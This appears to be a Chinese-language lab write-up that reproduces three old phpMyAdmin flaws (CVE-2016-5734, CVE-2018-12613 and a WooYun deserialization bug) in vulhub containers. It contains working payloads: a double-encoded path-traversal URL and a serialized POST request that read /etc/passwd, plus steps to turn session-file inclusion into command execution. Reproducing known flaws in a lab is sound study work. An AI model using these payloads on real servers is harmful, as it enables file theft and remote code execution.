簡介
phpMyAdmin是一個非常受歡迎的基於web的MySQL數據庫管理工具。它能夠創建和刪除數據庫,創建/刪除/修改表格,刪除/編輯/新增字段,執行SQL腳本等
復現三個古老漏洞
phpMyAdmin 4.0.x—4.6.2 遠程代碼執行漏洞(CVE-2016-5734)
phpMyAdmin是一套開源的、基於Web的MySQL數據庫管理工具。在其查找並替換字符串功能中,將用戶輸入的信息拼接進preg_replace
函數第一個參數中。
以下版本受到影響:
- 4.0.10.16之前4.0.x版本
- 4.4.15.7之前4.4.x版本
- 4.6.3之前4.6.x版本(實際上由於該版本要求PHP5.5+,所以無法復現本漏洞)
環境搭建
https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2016-5734/
遇到的一點問題:
- 端口占用
Bind for 0.0.0.0:8080 failed: port is already allocated
容器占用的port還沒有完全釋放
停止相應的docker容器進程即可
- 搭建完啟動后發現不能訪問
原因是tcp6協議的問題
解決方法:
vim /usr/lib/sysctl.d/00-system.conf
添加: net.ipv4.ip_forward=1
再重啟網絡 systemctl restart network
(雖然還是tcp6,但能訪問了)
發現root/root登錄不進去emm
(搭建出錯了)
要在yml文件同目錄下傳配置文件
這樣搭建完成后root/root就登錄進去了
利用
POC: https://www.exploit-db.com/exploits/40185
利用poc就可以執行遠程命令了
py payload.py -u username -p password -c command [url]
phpmyadmin 4.8.1 遠程文件包含漏洞(CVE-2018-12613)
影響版本 phpMyAdmin 4.8.0和4.8.1
環境搭建 https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
phpMyAdmin是一套開源的、基於Web的MySQL數據庫管理工具。其index.php中存在一處文件包含邏輯,通過二次編碼即可繞過檢查,造成遠程文件包含漏洞。
(需要登陸后才能利用,有些雞肋)
訪問
http://your-ip:8080/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd 可見/etc/passwd
被讀取,說明文件包含漏洞存在:
利用方式:
可以執行一下SELECT '<?=phpinfo()?>';
然后查看自己的sessionid(cookie中phpMyAdmin的值)
然后包含session文件,實現遠程命令執行的效果
WooYun-2016-199433 反序列化
影響版本: phpmyadmin 2.x版本
危害 : 任意文件讀取/遠程代碼執行
環境搭建 https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
環境啟動后,訪問http://your-ip:8080
,即可看到phpmyadmin的首頁。因為沒有連接數據庫,所以此時會報錯,但我們這個漏洞的利用與數據庫無關,所以忽略。
抓包后 修改數據包為
POST /scripts/setup.php HTTP/1.1
Host: 192.168.230.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
可以看到讀取了passwd文件